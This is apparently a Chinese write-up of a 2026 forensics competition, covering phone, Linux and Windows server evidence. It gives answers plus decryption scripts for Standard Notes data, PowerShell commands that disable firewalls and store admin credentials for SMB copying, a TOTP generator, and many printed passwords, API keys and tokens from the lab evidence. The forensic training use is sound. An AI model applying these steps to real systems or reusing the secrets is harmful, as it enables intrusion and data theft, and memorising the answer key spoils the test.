image-20260717203059934

10.手机重启过程中,屏幕上除厂商logo外,还可以看到以下哪些内容

A.二维码

B.密码相关提示

C.FIC

D.助记词

答案:

解题思路:直接找一下bootanimation.zip。

image-20260717204723396

image-20260717204831391

下载解压后,可以看到很多图片。

image-20260717204847620

所以答案是AB。

11.分析上述除logo外的信息,发现与加密后的助记词有关,这里用来加密助记词使用的对称加密算法为【参考格式:md5】

答案:sm4

解题思路:

image-20260717205606113

根据刚刚的密码图片,对应密码是1234567812345678(SM4)

000

image-20260717210218921

12.助记词有部分残缺,需要补全的助记词数量为【参考格式:1】

答案:9

解题思路:只有sign will bag是全的,其他是不全的。

也可以根据助记词表,写个脚本爆一下。(bips/bip-0039/english.txt at master · bitcoin/bips · GitHub

13.嫌疑人近期使用了一款笔记软件,该应用数据加密使用的主要加密算法为【参考格式:AbCd-afwfw】

答案:XChaCha20-Poly1305

解题思路:到文件系统中搜索该软件包名,找到对应数据库,可以找到,

image-20260718102813742

1
{"content_type":"Note","content":"004:b863f59a4aa43af996eac1293d983a39e104ca83781300b3:NleNZvh1dmlhnnkGu3nnTM4G4LN5nVTSqa8s7RJ/LImFvNUjeOL7nGr3m41ECs5pic+ZhKuhTCggvuQltq9+b9+Y0+aXO79o4to4xda38aYjd5OHu/4PEdpmEqLNS5atTufwORccVjxabns8WRkCHqWeFMBskxniK3xh/rFdyW4e2Md8B7bd/oMuluS3uBR4I+JlkVE2Q0zNqto2sOMHEnnxB1xhtYrvgRi39UMt/oRwIBaTBv/l/qU99P92ESfVdcxfi5AhROTv3aITNh6NOiO+fZ2Z9yhfe5MApBcVATI9sApoBVFd3gXAATqKc043/+WQMVl+fD6D20CXnqERuDX4XP4VEAat2WPLiuiIv73mai9/wxGht2n0kkcK6kljh+6Hx4AH1rEBw6a1WfWr/g==:eyJ1IjoiMjk2M2U4YjQtMDBiMy00ZDQyLTg0N2UtNzFiMmNhNzllMTgyIiwidiI6IjAwNCJ9:e30=","created_at_timestamp":0,"created_at":"2026-05-08T05:19:57.564Z","deleted":false,"dirty":false,"enc_item_key":"004:7c1ef6f717d20faf8cdca32cef2dd39736704940918302f6:0Pul8qMWK7Gu+12Y/+0qI6QhiLIm4lFrpd7ebnEslEVukAfQ3k/QZqeyHCx3wR2iG+r6urZ4KsS/7W5utnRWfW+HNThEQjtgmLlqIF56mXs=:eyJ1IjoiMjk2M2U4YjQtMDBiMy00ZDQyLTg0N2UtNzFiMmNhNzllMTgyIiwidiI6IjAwNCJ9:e30=","errorDecrypting":false,"items_key_id":"6ff1c1bc-3c6d-4003-84e5-e94f4a1f0214","updated_at_timestamp":0,"updated_at":"1970-01-01T00:00:00.000Z","uuid":"2963e8b4-00b3-4d42-847e-71b2ca79e182","waitingForKey":false}
1
2
XChaCha20:流加密,负责数据机密性(把明文变成乱码)
Poly1305:消息认证码,负责完整性、防篡改(对应密文里的 hash 摘要段 `b863f59a4aa43af996eac1293d983a39e104ca83781300b3`)

可以知道是XChaCha20-Poly1305。

14.分析该笔记软件,其数据库一次解密密钥为【参考格式:abcd】

答案:69bf3693d45cd5485cc53cd7ad9c5c5bf769aa48847253c3991ef18bd3f2ae87

解题思路:还是在刚刚的数据库中 保存了KEY。

image-20260718103203072

1
{"content_type":"SN|ItemsKey","content":{"itemsKey":"69bf3693d45cd5485cc53cd7ad9c5c5bf769aa48847253c3991ef18bd3f2ae87","version":"004","references":[],"appData":{"org.standardnotes.sn":{"client_updated_at":"2026-05-06T02:43:50.023Z"}},"isDefault":true},"created_at_timestamp":0,"created_at":"2026-05-06T02:43:50.022Z","deleted":false,"updated_at_timestamp":0,"updated_at":"1970-01-01T00:00:00.000Z","uuid":"6ff1c1bc-3c6d-4003-84e5-e94f4a1f0214","dirty":false}

15.用来解密5月8日的收入的二次解密密钥为【参考格式:abcd】

答案:c1790efd9f93361ed78291524d46983d32f866308c4eda7d2228bcd35405e999

解题思路:5月8日对应的就是最后一条,因为仿真后可以看到信息,id是一样的,

image-20260718104410300

根据密钥 和 密文 解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import base64
import json
from nacl.bindings import crypto_aead_xchacha20poly1305_ietf_decrypt

# 从你的备份提取的原始密钥与密文
ITEMS_KEY_HEX = "69bf3693d45cd5485cc53cd7ad9c5c5bf769aa48847253c3991ef18bd3f2ae87"
ENC_ITEM_KEY = "004:7c1ef6f717d20faf8cdca32cef2dd39736704940918302f6:0Pul8qMWK7Gu+12Y/+0qI6QhiLIm4lFrpd7ebnEslEVukAfQ3k/QZqeyHCx3wR2iG+r6urZ4KsS/7W5utnRWfW+HNThEQjtgmLlqIF56mXs=:eyJ1IjoiMjk2M2U4YjQtMDBiMy00ZDQyLTg0N2UtNzFiMmNhNzllMTgyIiwidiI6IjAwNCJ9:e30="
CONTENT = "004:b863f59a4aa43af996eac1293d983a39e104ca83781300b3:NleNZvh1dmlhnnkGu3nnTM4G4LN5nVTSqa8s7RJ/LImFvNUjeOL7nGr3m41ECs5pic+ZhKuhTCggvuQltq9+b9+Y0+aXO79o4to4xda38aYjd5OHu/4PEdpmEqLNS5atTufwORccVjxabns8WRkCHqWeFMBskxniK3xh/rFdyW4e2Md8B7bd/oMuluS3uBR4I+JlkVE2Q0zNqto2sOMHEnnxB1xhtYrvgRi39UMt/oRwIBaTBv/l/qU99P92ESfVdcxfi5AhROTv3aITNh6NOiO+fZ2Z9yhfe5MApBcVATI9sApoBVFd3gXAATqKc043/+WQMVl+fD6D20CXnqERuDX4XP4VEAat2WPLiuiIv73mai9/wxGht2n0kkcK6kljh+6Hx4AH1rEBw6a1WfWr/g==:eyJ1IjoiMjk2M2U4YjQtMDBiMy00ZDQyLTg0N2UtNzFiMmNhNzllMTgyIiwidiI6IjAwNCJ9:e30="


def decrypt_004(payload: str, key: bytes) -> bytes:
parts = payload.strip().split(":")
version = parts[0]
nonce_hex = parts[1]
ciphertext_b64 = parts[2]
associated_data_b64 = parts[3]

if version != "004":
raise ValueError("仅支持 Standard Notes 004 加密协议")

nonce = bytes.fromhex(nonce_hex)
ciphertext = base64.b64decode(ciphertext_b64)
# SN v4 规则:AAD直接使用base64字符串原始字节,不decode
associated_data = associated_data_b64.encode("utf-8")

# XChaCha20-Poly1305 解密,修复参数 ad → aad
try:
plain = crypto_aead_xchacha20poly1305_ietf_decrypt(
ciphertext=ciphertext,
aad=associated_data,
nonce=nonce,
key=key
)
except Exception as e:
raise RuntimeError(f"解密失败,密钥/密文不匹配: {e}")
return plain


def main():
# 外层密钥:ItemsKey 原始32字节密钥
items_key = bytes.fromhex(ITEMS_KEY_HEX)
print("=== 第一层解密:提取笔记独立密钥 ===")
item_key_raw = decrypt_004(ENC_ITEM_KEY, items_key)
item_key_hex = item_key_raw.decode("utf-8")
print(f"笔记独立密钥(hex): {item_key_hex}\n")

# 内层解密笔记正文
print("=== 第二层解密:笔记明文 ===")
item_key = bytes.fromhex(item_key_hex)
content_bytes = decrypt_004(CONTENT, item_key)
content_plain = content_bytes.decode("utf-8")
print("完整明文JSON:\n", content_plain, "\n")

# 解析笔记字段
note_data = json.loads(content_plain)
print("=== 笔记信息 ===")
print(f"标题: {note_data.get('title', '无')}")
print(f"正文:\n{note_data.get('text', '无')}")
print(f"预览: {note_data.get('preview_plain', '')}")


if __name__ == "__main__":
main()

image-20260718104030755

16.笔记软件中记录5月7日的收入为【参考格式:123.45】

答案:84826.90

解题思路:雷电分析该APK,导入应用数据,雷电模拟器打开,直接查看。

image-20260718104230979

17.笔记软件中记录5月6日的收入为【参考格式:123.45】

答案:76583.87

解题思路:这题软件里找不到,但是根据前面的,可以想到备份文件,SeedVaultAndroidBackup

这里我们用seedvault,(Release v0.1.1 · Baltram/seednaut · GitHub),恢复一下。中间需要用到助记词,depth acid cluster record journey horse rookie sign sand cancel will bag。

image-20260718121241269

恢复后找到数据库db,

image-20260718123313406

打开数据库 同样的方法解密,

image-20260718123341236

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
from nacl.bindings import crypto_aead_xchacha20poly1305_ietf_decrypt

def decrypt_sn_004(payload: str, key: bytes) -> bytes:
"""StandardNotes v004 解密函数"""
parts = payload.strip().split(":")
ver, nonce_hex, cipher_b64, aad_b64, _ = parts

if ver != "004":
raise ValueError("仅支持 004 加密协议")

nonce = bytes.fromhex(nonce_hex)
ciphertext = base64.b64decode(cipher_b64)
aad = aad_b64.encode("utf-8")

plain = crypto_aead_xchacha20poly1305_ietf_decrypt(
ciphertext=ciphertext,
aad=aad,
nonce=nonce,
key=key
)
return plain

if __name__ == "__main__":
# 1. 外层 ItemsKey(从 SN|ItemsKey 提取)
ITEMS_KEY_HEX = "69bf3693d45cd5485cc53cd7ad9c5c5bf769aa48847253c3991ef18bd3f2ae87"
items_key = bytes.fromhex(ITEMS_KEY_HEX)

# 2. 加密的笔记独立密钥 enc_item_key
ENC_ITEM_KEY = "004:68d91e5d73ca45af30662758d6d51b22757469e31a5541c8:ORPnUGEq5yG+kzhUVwubXe8PLNrV2a/NJl+sZVyzPrtbtAgnYFC3II/pWro0RwoGKrXWDVT/duXmiSsZREOlL0uP5KxNLGZoZvYvO3obsS0=:eyJ1IjoiNTdiODNjZDMtZDIzNS00OWQ4LWI1ZDAtNWZhOWQ3MmNiYzgzIiwidiI6IjAwNCJ9:e30="

# 第一层:解密笔记独立密钥
print("=== 第一层解密:提取笔记独立密钥 ===")
item_key_raw = decrypt_sn_004(ENC_ITEM_KEY, items_key)
item_key_hex = item_key_raw.decode("utf-8")
print(f"笔记独立密钥(hex): {item_key_hex}\n")
item_key = bytes.fromhex(item_key_hex)

# 3. 加密笔记正文 content
NOTE_CONTENT = "004:0caebe72961434120849269874d5d0bbdc1160ca4dd35c8f:mH20bxINSWKGE33TwiZPq0dqNtemjukYPZfrUJrrcVDQHa6iOVbnRq3ZAJxgYJpEOdBh9uNr/6PL38KViJh0wHsCJ4/ieHED+iYv734uK0rpryhdaP7TZB5ZYZDKJ75SOp+UCZiY++R9I9RP79V9xtksGnNyOdGy/q3NPQXbmZynvdxO1TJFGhl8QDWbzwYsFmcWGX5/reeOdcbuK9rlddg8kdsfkoTIxX9Z7QJ8xkXwIQa242pGsQYZ4s12WknxpW36UKWQAa/DvstCTRC6ddRMq6HID/96JLtCx5fMv0cTxtCaZMhEL5pSxXK7Zw1SNcQ+hKfDOPC4clOYGnhfTjEoR0JyOpkzGuuIr+Z3wvfHv6HO9BOc64NEBP7Qvr7B8BhONhdPgzxz2vqwnk/W4OtTAqW4NA==:eyJ1IjoiNTdiODNjZDMtZDIzNS00OWQ4LWI1ZDAtNWZhOWQ3MmNiYzgzIiwidiI6IjAwNCJ9:e30="

# 第二层:解密笔记完整明文
print("=== 第二层解密:笔记明文 ===")
plain_bytes = decrypt_sn_004(NOTE_CONTENT, item_key)
plain_text = plain_bytes.decode("utf-8")
print("解密完成,笔记原文:\n")
print(plain_text)

答案76583.87

image-20260718123403113

18.手机检材中有一个AI助手程序,分析该程序配置与任务,哪个应用程序运行后会清空本地存储内容?回答包名【参考格式:a.b.c】

答案:

解题思路:在APK中搜素AI可以找到operit这个软件,

image-20260718123933212

然后去搜索后,可以找到json文件,

image-20260718124058154

其中记录了运行后会清空本地存储内容的应用,即com.tencent.mm。(delete_file)

image-20260718124140317

19.分析AI助手程序调用的模型,结合笔记软件中的记录,用来隐藏银行卡密码的模型文件名为【参考格式:icp123】

答案:ultraman-663M-BF16.gguf

解题思路:仿真导入数据后可以看到。

image-20260718131428425

20.嫌疑人曾自行修改上题中的模型,他是通过什么原始模型修改而来的?【参考格式:glm】

答案:Hunyuan-7B-Instruct-MNN

解题思路:搜素上题文件,

image-20260718131620365

010打开,看到是hunyuan。

image-20260718131640171

所以是Hunyuan-7B-Instruct-MNN

image-20260718131707608

21.被修改后的模型量化精度为【参考格式:abc】

答案:BF16

解题思路:模型里写了BF16

image-20260718132427199

22.能够提升修改后模型对话能力的虚拟token为【参考格式:

答案:<|hy_place▁holder▁no▁8|>

解题思路:找到软件的log日志,

image-20260718132709657

可以看到聊天后都有<|hy_place▁holder▁no▁8|>

image-20260718133053357

23.分析AI助手与笔记软件中的记录,找出银行卡6位数字密码为【参考格式:123456】

答案:525252

解题思路:把上题的gguf模型文件导入到LM Studio,

image-20260718134605647

然后问他密码,可以看到很多525252,就是密码了。

image-20260718134734023

Linux服务器取证

1
2
3
web1仿真直接看ip 连ssh即可,

web2需要vi /etc/netplan/50-cloud-init.yaml,把mac地址注释掉,再查看ip 连接ssh

image-20260718142355390

1.分析服务器检材,找出来自阿里云的服务器镜像,其源盘SHA256值为【参考格式:ABC】

答案:119FCF5D8F8F69336656B8E93A4C00838BC5A6C1FD82878F9C8EDFA1FE437F0D

解题思路:web1连上之后就可以看到是阿里云的,

image-20260718142456527

直接计算哈希。

image-20260718142751790

2.分析服务器检材,“星球商城”网站使用的 React 服务端渲染应用框架为?【参考格式:thinkPHP】

答案:Next.js

解题思路:启一下docker

image-20260718142948378

可以看到next.js

image-20260718143105144

3.分析服务器检材,“星球商城”网站管理员密码所用的盐为?【参考格式:ABC】

答案:Honglian2026FIC

解题思路:启动容器并进入,

1
2
3
docker ps -a
docker start practical_lamarr
docker exec -it practical_lamarr /bin/sh

image-20260718143531478查看package.json,

image-20260718143657608

可以发现一个seed.ts 在prisma下,去cat一下,找到盐值。

image-20260718143758450

4.分析服务器检材,“星球商城”网站备份的数据库加密后文件名为?【参考格式:abc.abc.abc】

答案:fkdb_20260507.sql.gpg

解题思路:在web2的data/backup下。

image-20260718144011693

5.分析服务器检材,“星球商城”网站使用了NOWPayments作为支付接口,其api_key为?【参考格式:8K2M9PL-QT7X4NR-3A5F6D8-GVY1CW2】

答案:934P23T-FZVMBDE-Q1R06NJ-4E6HZTM

解题思路:在root下的env文件可以找到。

image-20260718144726056

6.“星球商城”网站已成功交易的订单总金额是多少?【参考格式:10】

答案:130

解题思路:web2.E01/分区5/root/.openclaw/agents/main/sessions可以找到该文件,搜索密码看到密码,Honglian@Fic2026Password

同时也能看到解密命令,

image-20260718150935090

image-20260718145936459

这里搜索一下解密文件名字,导出来后放到虚拟机里解密,

image-20260718151009227

解密时输入刚刚的密码,得到sql文件。

image-20260718151342841

然后用密码和ip连到navicat

image-20260718154235936

image-20260718154240767

找有卡号的,合计130

image-20260718154524385

7.卡号为797037X33CIHX7S6的充值卡,其面值是多少积分?【参考格式:1】

答案:100

解题思路:在card找到对应卡号,在productld中是2,

image-20260718154737797

再去productld找2,得到是100

image-20260718154828471

8.“星球商城”网站订单号为8FKXMF1OXOL3ZZ0H的购买者,其Telegram昵称是什么?【参考格式:tom】

答案:Kane Davis

解题思路:在/root/faka/.env找到加密数据库,

1
PASSWORD_MANAGER_MASTER_PASSWORD='Honglian@Fic2026Password' password-manager list

image-20260718155024248

列出密码,(参考Serendipity的小屋),

image-20260718155220710

列出第一个的密码,解密数据库,

image-20260718155240188

查看order数据。

image-20260718155520892

9.根据“星球商城”网站仪表盘的显示,其技术支持栏中提供的 Telegram 用户名是什么?【参考格式:zhangsan】

答案:zhituma

解题思路:web1.E01/分区2/var/lib/docker/overlay2/jr0hxl8wnzf9weogwginrefta/diff/app/src/app/admin/ page.tsx

最后可以看到HTML实体编码,解码得到,

技术支持:https://t.me/zhituma

所以是zhituma。

image-20260718160634355

10.openclaw 当前配置使用的模型名称是什么?【参考格式:xx/xx】

答案:deepseek/deepseek-v4-flash

解题思路:在web的root目录下./openclaw可以看到配置。

image-20260718161652844

11.openclaw 为上述模型设置的 API Key 是什么?【参考格式:sk-xxx】

答案:sk-b203197a32804a669495973886ca8760

解题思路:在上题文件也能找到。

image-20260718161741530

12.openclaw 定时广告推送任务中的链接是?【参考格式:https://www.baidu.com】

答案:https://t.me/+kzTXt-NO34QwNWJh

解题思路:在web2.E01/分区5/root/.openclaw/cron/jobs.json可以看到。

image-20260718162023941

13.openclaw 目前已安装的技能数量是多少?【参考格式:1】

答案:61

解题思路:

1
2
3
开启opneclaw openclaw gateway --port 18789

查看仪表盘 openclaw dashboard

image-20260718162836597

访问(OpenClaw Control)技能共61个

image-20260718162942633

14.嫌疑人将其所使用的 openclaw 命名为?【参考格式:小名】

答案:小星

解题思路:直接可以看到

image-20260718162926694

15.“星球商城”网站所在服务器(IP:8.217.145.152)的 root 密码是多少?【参考格式:abc】

答案:e&eqYEbu5bM~8iA

解题思路:

1
PASSWORD_MANAGER_MASTER_PASSWORD='Honglian@Fic2026Password' password-manager get --name "8.217.145.152-root" --show-password

image-20260718163037033

16.嫌疑人给 openclaw 安装的本地密码管理技能的名称是?【参考格式:xxx-xxx】

答案:password-manager

解题思路:在技能列可以找到。

image-20260718163135574

17.嫌疑人设置的本地密码管理器主密码是?【参考格式:xxxx】

答案:Honglian@Fic2026Password

解题思路:和上面的题在一个聊天记录里(web2.E01/分区5/root/.openclaw/agents/main/sessions/a5fc40f5-285e-4576-a29a-1d0d0429ca3c.jsonl)

image-20260718165957139

18.嫌疑人进行广告推广的‘白果视频’网站的网址是什么?【参考格式:https://www.baidu.com】

答案:http://www.baiguo.com

解题思路:搜索白果可以找到。

image-20260718170053423

19.Docker 容器 tg_faka 所连接的数据库的密码是多少?【参考格式:xxx】

答案:Honglian@2026fic

解题思路:在之前数据库里

20.嫌疑人使用 openclaw 在其另一台服务器上安装了 Docker,请问该服务器的 IP 地址是什么?【参考格式:127.0.0.1】

答案:1.14.198.31

解题思路:聊天记录里。

image-20260718170418168

21.tg_faka 机器人所配置的 Telegram Bot Token 是什么?【参考格式:1234567890:ABCdefGHIjklmNOPqrstUVwxyz1234567890】

答案:8514062821:AAHzdIL52vtuR9Y3ItBqtfAZdMwZ-YjPzms

解题思路:在web2.E01/分区5/root/captcha-bot/config/config.toml可以找到

image-20260718170510228

22.tg_faka 机器人所处理的订单中,状态为“已完成”的订单总共有多少条?【参考格式:1】

答案:2

解题思路:之前的db数据库,可以看到已完成的英文。

image-20260718170557570

23.Telegram 昵称为 milo 的用户的支付宝账号是多少?【参考格式:xxx】

答案:fic@zfb

解题思路:在 web2.E01/分区5/root/faka/.env/db.db数据库可以看到。

image-20260718170246298

24.嫌疑人创建的用于售卖卡密(卡号与密码)的 Telegram 群组名称是什么?【参考格式:弘连网络】

答案:星球商店交流

解题思路:在web2.E01/分区5/root/captcha-bot/db/geecaptcha.db可以看到。

image-20260718170654603

25.在群管机器人的统计数据中,通过验证并成功加入群聊的总人数是多少【参考格式:1】

答案:3045

解题思路:导出数据库,筛选。

26.嫌疑人在群管机器人中配置的广告共有多少条?【参考格式:1】

答案:3

解题思路:数据库查看表。

image-20260718170958323

27.昵称为 milo 的Telegram用户是在什么时间通过群管机器人认证?【参考格式:2026-00-00 00:00:00】

答案:2026-05-06 17:30:56

解题思路:查看表对应昵称的入群成功时间。

image-20260718171132619

image-20260718171142636

Windows服务器取证

1.分析服务器检材,系统分区的文件系统类型是?【参考格式:FAT32】

答案:refs

解题思路:查看火眼给出的文件系统

image-20260718190531072

或者

1
fsutil fsinfo volumeInfo C:

image-20260718191858752

2.分析服务器检材,系统分区的文件系统版本是多少?【格式:1.23】

答案:3.14

解题思路:

1
fsutil fsinfo refsInfo C:

image-20260718191930223

3.分析服务器检材,系统的SKU编号(OperatingSystemSKU)是什么?【参考格式:101】

答案:

解题思路:这里比赛的时候用联网机搜了一些命令。

1
(Get-CimInstance Win32_OperatingSystem).OperatingSystemSKU

image-20260718192030456

4.服务器中的WinRM HTTP服务的端口是多少?【格式:65535】

答案:59508

解题思路:

1
winrm enumerate winrm/config/listener

image-20260718192125812

5.最后一次通过WinRM远程访问的北京时间是【格式:1970-01-01 00:11:22】

答案:2026-05-17 16:38:06

解题思路:分析WinRM日志。

1
Get-WinEvent -LogName 'Microsoft-Windows-WinRM/Operational'

image-20260718192456729

1
2
3
EventID:91 | Information | Creating WSMan shell on server with ResourceUri: http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
WSMan(WinRM 远程管理服务)创建了一个远程命令行 Shell 会话
所以是5/17/2026 4:38:06 PM

6.服务器除了允许上一题登录记录的IP地址远程登录,还允许哪个IP地址远程管理【格式:1.2.3.4】

答案:117.184.20.123

解题思路:在上题日期为5.12的日志可以看到ip是218.80.0.18。下面命令可以将数据多的日志换行,避免看不到IP。

1
Get-WinEvent -LogName 'Microsoft-Windows-WinRM/Operational' -FilterXPath ` "*[System/TimeCreated[@SystemTime >= '2026-05-12T00:00:00Z' and @SystemTime <= '2026-05-12T23:59:59Z'] and System/EventID=91]" | Format-List -Property TimeCreated, Id, Message

image-20260718193831458

查询本机防火墙中所有开放 59508 端口的规则,输出每条规则对应的:本机监听 IP、允许连接的远程 IP 范围。

1
2
3
4
5
6
Get-NetFirewallPortFilter |
Where-Object LocalPort -eq 59508 |
Get-NetFirewallRule |
ForEach-Object {
$_ | Get-NetFirewallAddressFilter | Select-Object LocalAddress, RemoteAddress
}

根据题意,除去上一题的IP,剩下117.184.20.123。

image-20260718192929343

7.主机secrets目录中存放有一批密码文档,找到存在历史快照版本的文件,该文件历史版本中存放的密码是什么【格式:Abc123!@#】

答案:pMLCzXOd+<.&.pUw

解题思路:

1
2
3
4
5
6
7
递归扫描当前目录所有文件,找出文件中以 :$SNAPSHOT 结尾的 NTFS 备用数据流(ADS),输出文件完整路径、数据流名称、数据流占用大小。
Get-ChildItem . -File -Recurse | ForEach-Object {
$f = $_
Get-Item -LiteralPath $f.FullName -Stream * |
Where-Object Stream -like '*:$SNAPSHOT' |
Select-Object @{n='File';e={$f.FullName}}, Stream, Length
}

image-20260718194356886

发现存在文件,并且是题目所说的密码文档,我们可以想办法导出,

有几个前提,已经RDP连上了服务器,并且服务器防火墙已经关闭,

1
2
3
4
5
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Enable-NetFirewallRule -Name FPS-SMB-In-TCP

Get-NetFirewallProfile | Select Name,Enabled(查看防火墙状态,全为false为关闭)

image-20260718232100884

之后我们开始导出,下面的命令在本机(不是服务器)的powershell(蓝色管理员)界面执行,

1
2
3
4
Enable-NetFirewallRule -Name FPS-SMB-In-TCP
cmdkey /add:172.28.0.100 /user:Administrator /pass:F1cWinC@re
Get-ChildItem '\\172.28.0.100\c$\Users\Administrator\secrets'
Copy-Item '\\172.28.0.100\c$\Users\Administrator\secrets\secret_012.snapshot.docx'

最后导出的文件会在当前目录下,一般在system下,也可以搜一下。在system下想打开记得换一个目录,权限问题可能打不开。

image-20260718232239192

image-20260718232315823

8.嫌疑人称,服务器中曾安装有Linux虚拟机用于下载合同文件,其中存有一份加密的合同文件,找到这个文件,计算文件的MD5值。【格式:d41d8cd98f00b204e9800998ecf8427e】

答案:921a242639d1a13f6d6bfa47d9eb34d5

解题思路:分区6/Users/Administrator/VM可以看到虚拟机文件,合并avhdx(子盘)分析,

image-20260718232741567

1
2
3
cd C:"/Users/Administrator/VM"
Get-VHD -Path * | Format-List Path, ParentPath
查询父盘路径

image-20260718233808381

一个一个还原,看有没有合同。

1
Copy-Item C:\Users\Administrator\VM C:\Users\Administrator\VM_C03E3EEC -Recursecd C:\Users\Administrator\VM_C03E3EECMerge-VHD -Path .\fedora-coreos-44.20260419.3.1-hyperv.x86_64_C03E3EEC-C39B-4BDA-8F2E-8A69C216E73F.avhdx `          -DestinationPath .\fedora-coreos-44.20260419.3.1-hyperv.x86_64.vhdxCopy-Item .\fedora-coreos-44.20260419.3.1-hyperv.x86_64.vhdx C:\Users\Administrator\C03E3EEC_state.vhdx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
导出到本地

1. 保存远程172.28.0.100的管理员凭据

cmdkey /add:172.28.0.100 /user:Administrator /pass:F1cWinC@re

2. 强制拷贝远程VHDX快照到指定本地路径

Copy-Item `
-Path '\\172.28.0.100\c$\Users\Administrator\FF7E62B2_state.vhdx' `
-Destination "C:\Users\LENVO\Downloads\FF7E62B2_state.vhdx" `
-Force

3. 操作完成后清除本地保存的远程凭据

cmdkey /delete:172.28.0.100

计算md5。

image-20260719113244717

9.管理后台页面的TLS证书的SHA1指纹是什么【格式:da39a3ee5e6b4b0d3255bfef95601890afd80709】

答案:248424a5234d539cbf0425751a437adcc106d835

解题思路:启动网站服务,

1
2
3
4
5
6
7
8
9
10
11
$chrome = 'C:\Program Files\Google\Chrome\Application\chrome.exe'
$profile = "$env:TEMP\fic-admin-http3-profile"

Start-Process -FilePath $chrome -ArgumentList @(
'--user-data-dir=' + $profile,
'--origin-to-force-quic-on=admin.ficads.site:443',
'--host-resolver-rules="MAP admin.ficads.site 172.28.0.100, MAP mtls.ficads.site 172.28.0.100"',
'https://admin.ficads.site/'
)


查看网站证书,

image-20260719075522835

编写脚本,计算哈希,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import ssl
import socket
import hashlib


def get_tls_cert_hash(
host: str,
port: int,
sni_hostname: str,
timeout: int = 10
) -> tuple[str, str]:
"""
连接指定TLS服务,携带SNI获取证书DER字节,返回SHA1、SHA256指纹十六进制串

:param host: 目标IP/地址
:param port: TLS端口
:param sni_hostname: SNI域名(证书绑定域名)
:param timeout: 连接超时秒数
:return: (sha1_hex, sha256_hex) 小写哈希字符串
"""
# 初始化SSL上下文,跳过证书合法性校验
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE

# TCP连接 + TLS握手携带SNI
with socket.create_connection((host, port), timeout=timeout) as sock:
with ssl_ctx.wrap_socket(sock, server_hostname=sni_hostname) as secure_sock:
# 获取证书原始DER二进制数据
cert_der = secure_sock.getpeercert(binary_form=True)

sha1_result = hashlib.sha1(cert_der).hexdigest()
sha256_result = hashlib.sha256(cert_der).hexdigest()
return sha1_result, sha256_result


if __name__ == "__main__":
# 目标配置
target_host = "172.28.0.100"
target_port = 443
target_sni = "ficads.site"

sha1, sha256 = get_tls_cert_hash(target_host, target_port, target_sni)
print(f"SHA1 = {sha1}")
print(f"SHA256 = {sha256}")

image-20260719075327369

10.广告页面提供服务的网卡MAC地址是什么【格式:11:22:33:aa:bb:cc】

答案:00-15-5D-19-96-2C

解题思路:可以看到publiclistenip监听 172.27.0.1

所以网卡是00-15-5D-19-96-2C

image-20260719075746805

image-20260719075654279

11.管理员在北京时间2026-05-01 12:23:21通过聊天工具向他人发送过一个验证码,计算管理员在这个时间登录管理后台需要使用的验证码是否与聊天记录中的验证码相同,这个时间的验证码是【格式:12345678】

答案:65625

解题思路:用后面的题的数据库连接,密码yiZvGzBS9FYxrw42J17LNUK5tlDo

image-20260719080041031

secert是JBSWY3DPEHPK3PXP

image-20260719080025799

写脚本。

image-20260719080457990

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pyotp
import datetime
import pytz

SECRET = "JBSWY3DPEHPK3PXP"
# 5位数字TOTP
totp = pyotp.TOTP(SECRET, digits=5)

# 北京时间时区
beijing_tz = pytz.timezone('Asia/Shanghai')
# 构造目标北京时间
target_time = beijing_tz.localize(datetime.datetime(2026, 5, 1, 12, 23, 21))
# 转为时间戳
timestamp = target_time.timestamp()

# 输出对应时刻验证码
print(totp.at(timestamp))

12.从现场扣押的证书文件中寻找网站管理员登录后台使用的证书,正确的证书文件的SHA1哈希是什么【格式:da39a3ee5e6b4b0d3255bfef95601890afd80709】

答案:C48B687F0FFCA44B626F1794BB6CB81CA8C8DF9F

解题思路:指纹为,

image-20260719080629632

在附件3找一下,

image-20260719080813014

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pathlib import Path
import hashlib
from cryptography import x509
from cryptography.hazmat.backends import default_backend

# 目标证书SHA256指纹
target_fingerprint = "F628659F0D2B175736B049FAC1D0659AF81033B82DB071CF4D201FF70F4DCA8B"
# 修改检索目录为B盘检材路径
search_dir = Path(r"B:\检材5.windows服务器及附件")

# 遍历目录下所有.cer证书文件
for cert_file in search_dir.glob("*.cer"):
cert_bytes = cert_file.read_bytes()
sha256_fp = hashlib.sha256(cert_bytes).hexdigest().upper()
sha1_fp = hashlib.sha1(cert_bytes).hexdigest().upper()

match_flag = "【命中目标证书】" if sha256_fp == target_fingerprint else "无匹配"
print(f"文件路径:{cert_file.resolve()}")
print(f"SHA256指纹:{sha256_fp} {match_flag}")
print(f"SHA1指纹: {sha1_fp}\n")

13.使用证书文件登录推广管理网站后台,管理员登录后网站右上角的flag是什么。【格式:flag{abc_123_!@#}】

答案:flag{fic_mtls_2a10229ccc830e737cb54993}

解题思路:官方题解。

还原服务器网络环境,启动网站,用上面计算的 HOTP 和证书登 录即可获取。如果将网站直接拷贝出来运行注意需要还原注册表、凭据、 密钥存储等各处系统存储的信息。管理后台顶部导航会在满足条件时显示 登录成功提示:

image-20260719081009233

因此只看源码能知道显示条件和算法,只看 PostgreSQL 能找到管理 员 TOTP secret 和证书 thumbprint,但两者都不包含 flag 明文。AI 可以解析出算法,直接算出 flag。人工逆向做会比较费时。从题目给的 DNS 配置和代码可以知道网站是纯HTTP3 的,需要修改 chrome 启动参数才能访问。另外注意因为有 TOTP,登录时服务器和本机时间要一致

image-20260719081016903

